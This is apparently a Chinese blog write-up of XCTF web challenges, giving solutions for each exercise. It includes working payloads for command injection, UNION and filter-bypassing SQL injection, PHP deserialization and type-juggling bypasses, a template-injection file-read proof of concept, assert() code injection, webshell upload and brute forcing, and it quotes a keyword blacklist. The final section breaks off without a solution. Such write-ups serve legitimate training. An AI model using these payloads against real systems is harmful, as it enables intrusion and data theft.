Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 新手练习
      1. 2.1.1. view_source
      2. 2.1.2. get_post
      3. 2.1.3. robots
      4. 2.1.4. backup
      5. 2.1.5. cookie
      6. 2.1.6. disable_button
      7. 2.1.7. simple_js
      8. 2.1.8. xff_referer
      9. 2.1.9. weak_auth
      10. 2.1.10. webshell
      11. 2.1.11. command_execution
      12. 2.1.12. simple_php
    2. 2.2. 高手进阶
      1. 2.2.1. Training-WWW-Robots
      2. 2.2.2. unserialize3
      3. 2.2.3. hacker news
      4. 2.2.4. upload
      5. 2.2.5. Confusion1
      6. 2.2.6. ics-06
      7. 2.2.7. upload
      8. 2.2.8. mfw
      9. 2.2.9. Lottery
      10. 2.2.10. FlatScience

前言

过来看看。

正文

新手练习

view_source

就是看源码啦。

get_post

get:`?a=1’

post: `b=21

robots

robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的

打开robots.txt,有一个flag***.php,打开就行。

backup

做了之后忘记题是什么了,反正很简单。

F12查看网络参数,发现cookie:cookie.php,访问cookie.php,再次查看header,发现flag。

disable_button

有一个按钮,点击之后没有反应,查看源码,发现按钮要实现的功能是post提交一个值auth(好像是这个名字,忘了),使auth=flag,post提交就可以了。

simple_js

一个前端验证,不管输入什么密码,都无法验证成功,看了源码,发现自己看不懂,只能看懂大概,正确的密码应该就是那段十六进制字符串,转成字符之后,变成了数字,应该是ascii码,再转字符,得到一个字符串,我以为这是密码,还需要提交才能得到flag,试了几次都不行,然后直接当做flag提交,就对了。

xff_referer

要求IP地址是123.123.123.123,直接bp抓包,在header中添加伪造X-Forwarded-For:123.123.123.123,

go之后,要求document.getElementById("demo").innerHTML="必须来自https://www.google.com";

再在header中添加,referer:https://www.google.com,即可得到flag。

weak_auth

随便输入一个用户名和密码,提示必须使用admin登录,用户名改成admin之后,报错是密码错误,然后出现一个check.php,查看源码之后,提示你需要一个字典

直接bp抓包,然后,load一个密码字典爆破,即可。

webshell

直接菜刀连接一下getshell。

command_execution

命令执行,

ping 1.1.1.1

E9PZ1P.png

ping 1.1.1.1&&ls,ls没有执行,&&应该是被过滤了,这里的ping -c 3:

判断操作系统类型,若是windows类型,执行ping ip命令;若是非windows类型,执行ping -c 3 ip 命令

E9in81.png

ping 1.1.1.1||ls,ls被执行了,||没有被过滤,

E9iIZF.png

ping 1.1.1.1||ls /,可以看到整个目录,

E9FAQP.png

最后在home文件夹找到flag.txt

ping 1.1.1.1||cat /home/flag.txt

E9F4SI.png

simple_php

E9Fxlq.png

直接给出了源码,get提交a和b,要求a=0,并且a不为空,php解析是碰到0e开头串时,会把它当做0,

要求b不是数字,如果b是数字,则exit(),而且要求b>1234,PHP在解析时,遇到类似11xxx的串,只会解析前面的数字,也就是说11xxx=11,

所以payload:a=0e&b=1333x

高手进阶

Training-WWW-Robots

又是robots,查看robots.txt之后,发现有一个fl0g.php,打开得到flag

unserialize3

源码

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

get提交code,code的值是serialize()序列化后的串,

1
2
3
4
5
6
<?php
class xctf{
public $flag='111';
}
$a=new xctf();
print_r(serialize($a));

结果是:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

提交之后,后台会进行会序列化,此时就会自动执行__wakeup()函数,然后输出bad request

所以,我们要绕过这个__wakeup()函数,参考文章

在这个序列化后的串中:O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}

里面有个数字 1 ,这个 1 代表的是对象的属性个数,这里只有$flag这一个属性。

而__wakeup()函数漏洞就是与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么就调用__wakeup()函数,如果该数字大于真实属性个数,就会绕过__wakeup()函数。

__construct()

__实例化对象时被调用。__construct()是构造函数,同时当函数名和类名相同的时候,也是构造函数,构造函数有两种表达方式。

但是当__construct和以类名为函数名的函数同时存在的时候,__construct将被调用,而以类名作为函数名的构造函数不被调用。

所以,payload: `?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}

hacker news

E9ULsP.png

猜测是一道注入题,输入1正常回显,输入1'不能正常回显,应该是单引号闭合,

经测试,有3列

爆库,payload:-1' union select 1,2,database()#

E9atFe.png

爆表,-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#

E9asw8.png

爆列,-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

E9ahyq.png

爆内容,-1' union select 1,2,fl4g from secret_table#

E9aowT.png

upload

先注册一个账户,然后点击login,输入账号密码登录,然后就有上传界面了。

图片的文件名可以造成注入

1
selselectect` `frfromom

可以绕过对select,from的过滤

构造payload

查询数据库:

1
sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

返回:

sql 131277325825392 => web_up

1
sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

返回:

sql 1819238756 => load

拼接起来得知数据库名为:web_upload

然后查表:

1
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom  information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit  1,1)),1,12),16,10))+'.jpg

返回:

sql 114784820031327 => hello_

1
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom  information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit  1,1)),13,12),16,10))+'.jpg

返回:

sql 112615676665705 => flag_i

1
sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom  information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit  1,1)),25,12),16,10))+'.jpg

返回:

sql 126853610566245 => s_here

拼接起来得知存放flag的表名为: hello_flag_is_here

然后查这个表里有什么字段:

1
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom  information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit  0,1)),1,12),16,10))+'.jpg

返回:

sql 115858377367398 => i_am_f

1
sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom  information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit  0,1)),13,12),16,10))+'.jpg

返回:

sql 7102823=> lag

拼接起来得知存放flag的字段是:i_am_flag

然后查询flag:

1
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

返回:

sql 36427215695199 => !!@m

1
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

返回:

sql 92806431727430=> Th.e_F

1
sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

返回:

1
sql 560750951=> !lag

拼起来之后得到flag: !!_@m_Th.e_F!lag

Confusion1

  • 首先浏览网站,在导航栏上只有index.php login.php register.php三个页面,打开导航栏上的login.php和register.php,发现是404页面
  • 这个404页面乍一看和普通页面没什么不同,但是查看源码可以发现提示了flag的路径,所以题目意思就是要去读文件
  • 但是login和register功能都没有实现,也就是说没有任何接受用户输入的地方
  • 在index.php页面中有一张图片,图片的内容是一条大蟒蛇缠住了一只大象,很明显这只大象就是PHP的那只吉祥物,大蟒蛇也意味着Python了,所以这到题目应该和Python有关,但是还是不知道哪里可以接受到用户的输入
  • 仔细翻阅网站,可以发现只有两处可被用户控制的地方,就是404页面和403页面中输出url的地方
  • 首先试试这里有没有XSS,在404页面当我们输入XSS的payload时会弹出一个Nope,说明对某些字符进行了过滤,所以很问题明显就出在404页面
  • 既然发现了404页面有问题,但是如果实在想不到SSTI的话那也没办法往下做了
  • 测试5*5,发现404页面输出url的地方却输出了25,于是照着SSTI的思路往下做
  • 后端其实用了Python来模拟PHP
  • 我在黑名单中禁用了一些字符串,就不一一测试了,这里直接给出部分关键黑名单
1
`     black_list = [     'write', 'class', 'mro', 'read', '<', '>', '|', 'join'     'os', 'sys', 'pop', 'del', 'rm', 'eval', 'exec', 'ls', 'cat',     ';', '&&', 'catch_warnings', 'func_globals', 'pickle', 'import', 'subprocess', 'commands', 'input', 'execfile',      'reload', 'compile', 'execfile', 'kill', 'func_code' ]

关键字过滤可以使用request.args绕过

  • POC: http://xx.xx.xx.xx:xxxx/[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()?a=__class__&b=__mro__&c=__subclasses__&d=read

ics-06

一脸懵逼。。。

一顿乱点,终于在报表中心发现了问题

ELE6SA.png

然后,试了几个数字,发现不管输入id等于几都返回一样的界面,问题在哪呢?

尝试访问一下所有界面,写个脚本爆破一下,发现id=2333时弹出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url="http://111.198.29.45:39994/index.php?id={num}"
ses=requests.Session()

for i in range(2000,3000,1):
payload=url.format(num=i)
res=ses.get(payload)
print(payload)
print(i)
if 'cyberpeace' in res.content:
print(res.content)
break

这个flag的关键字想不到啊。。。

upload

ELJxAJ.png

上传jpg,成功上传,返回了文件的路径

ELJzN9.png

但是文件名变成了1558088360.eee.jpg,bp抓包操作一波

把文件名改成ee.php,成功上传,但是文件名是15556235.eee.php,看来是不管你上传什么,他都在你文件名的前面加一部分,所以,只需要把文件名改成php就可以了

ELYZAH.png

上传成功,是php文件,而且有路径,接下来菜刀连接,找到flag.php,即可得到flag

ELYEHe.png

PHP2

上来只有一句话,Can you anthenticate to this website?,尝试了改IP不行之后,扫描一下网站后台,发现index.phps,访问之后,拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

id===admin时,输出not allowed

urldecode(id)==admin,得到flag

但是当执行if($_GET[id] == “admin”)时,id就会被url解码一次,所以这题考的是url二次编码绕过

payload:?id=%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45(这一串是admin的url二次编码,其实转一个字符就行)

mfw

拿到题目是一个网站,查看源码

VCUwin.png

发现一个page=flag,访问之后没啥用

VCUgZ4.png

提示信息里提到git,想到**.git**泄露,扫描一下网站

VCUqdH.png

确实存在**.git**泄露,用git下载工具在下载来

VCdJEQ.png

但是flag.php的内容是

1
2
3
4
<?php
// TODO
// $FLAG = '';
?>

感觉没什么用啊,

但是查看下载的文件的源码的过程中,发现index.php的源码中有这样的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

这里看到了assert()函数,让我们想到了命令执行,而且page的参数没有进行任何过滤

strpos()是匹配两个字符串的,具体可以百度。

那我们就可以利用assert命令执行来查看flag的内容了payload:?page=1','2') === false and system('cat templates/flag.php') and strpos('templates/flag

拼接后完整的语句是

assert(“strpos(‘templates/1’, ‘2’) === false and system(‘cat templates/flag.php’) and strpos(‘templates/flag.php’) or die(“Detected hacking attempt!”);

strpos(‘templates/1’, ‘2’) === false结果为真,and连接**system(‘cat templates/flag.php’)**会执行,然后再执行strpos(‘templates/flag.php’),

个人理解,不对的话请指正。

Lottery

上来先测试了一下,注册用户,购买彩票,拿到足够的钱,购买flag。大概就这样,发现buy.php页面,买完之后还是buy.php,没有页面的跳转,这让我有点搞不懂。

所以扫了一下网站,发现有robots.txt,访问发现

VPp3sH.png

似乎也是Git泄露问题,下载一下试试,拿到很多文件

VPpBQg.png

发现关键代码在api.php里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
<?php
require_once('config.php');
header('Content-Type: application/json');

function response($resp){
die(json_encode($resp));
}

function response_error($msg){
$result = ['status'=>'error'];
$result['msg'] = $msg;
response($result);
}

function require_keys($req, $keys){
foreach ($keys as $key) {
if(!array_key_exists($key, $req)){
response_error('invalid request');
}
}
}

function require_registered(){
if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
response_error('register first');
}
}

function require_min_money($min_money){
if(!isset($_SESSION['money'])){
response_error('register first');
}
$money = $_SESSION['money'];
if($money < 0){
$_SESSION = array();
session_destroy();
response_error('invalid negative money');
}
if($money < $min_money){
response_error('you don\' have enough money');
}
}


if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
response_error('please post json data');
}

$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE){
response_error('invalid json');
}

require_keys($data, ['action']);

// my boss told me to use cryptographically secure algorithm
function random_num(){
do {
$byte = openssl_random_pseudo_bytes(10, $cstrong);
$num = ord($byte);
} while ($num >= 250);

if(!$cstrong){
response_error('server need be checked, tell admin');
}

$num /= 25;
return strval(floor($num));
}

function random_win_nums(){
$result = '';
for($i=0; $i<7; $i++){
$result .= random_num();
}
return $result;
}


function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

function flag($req){
global $flag;
global $flag_price;

require_registered();
$money = $_SESSION['money'];
if($money < $flag_price){
response_error('you don\' have enough money');
} else {
$money -= $flag_price;
$_SESSION['money'] = $money;
$msg = 'Here is your flag: ' . $flag;
response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
}
}

function register($req){
$name = $req['name'];
$_SESSION['name'] = $name;
$_SESSION['money'] = 20;

response(['status'=>'ok']);
}


switch ($data['action']) {
case 'buy':
require_keys($data, ['numbers']);
buy($data);
break;

case 'flag':
flag($data);
break;

case 'register':
require_keys($data, ['name']);
register($data);
break;

default:
response_error('invalid request');
break;
}

阅读源码我们发现,

requests是json格式的

比较彩票数字与用户数字采用==弱比较

而且是一位一位的比较的

通过以上三点,我们就可以操作一下了,

由于使用的是PHP 弱类型比较,TRUE,1,"1"都相等相等,即true与字符串和数字都是弱相等的。而且,由于 json 支持布尔型数据,那么就可以构造一串数组[true,true,true,true,true,true,true]传入了,

bp抓包,然后构造数组,即可得到5000000,再来一次就是10000000,可以购买flag了

VPPPRf.png

VPPtoR.png

FlatScience

一通乱点,要么是转到PDF文件,要么是几个页面来回跳转,无奈,,

看看robots.txt,发现有login.php和admin.php,两个登录界面

Contents
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 新手练习
      1. 2.1.1. view_source
      2. 2.1.2. get_post
      3. 2.1.3. robots
      4. 2.1.4. backup
      5. 2.1.5. cookie
      6. 2.1.6. disable_button
      7. 2.1.7. simple_js
      8. 2.1.8. xff_referer
      9. 2.1.9. weak_auth
      10. 2.1.10. webshell
      11. 2.1.11. command_execution
      12. 2.1.12. simple_php
    2. 2.2. 高手进阶
      1. 2.2.1. Training-WWW-Robots
      2. 2.2.2. unserialize3
      3. 2.2.3. hacker news
      4. 2.2.4. upload
      5. 2.2.5. Confusion1
      6. 2.2.6. ics-06
      7. 2.2.7. upload
      8. 2.2.8. mfw
      9. 2.2.9. Lottery
      10. 2.2.10. FlatScience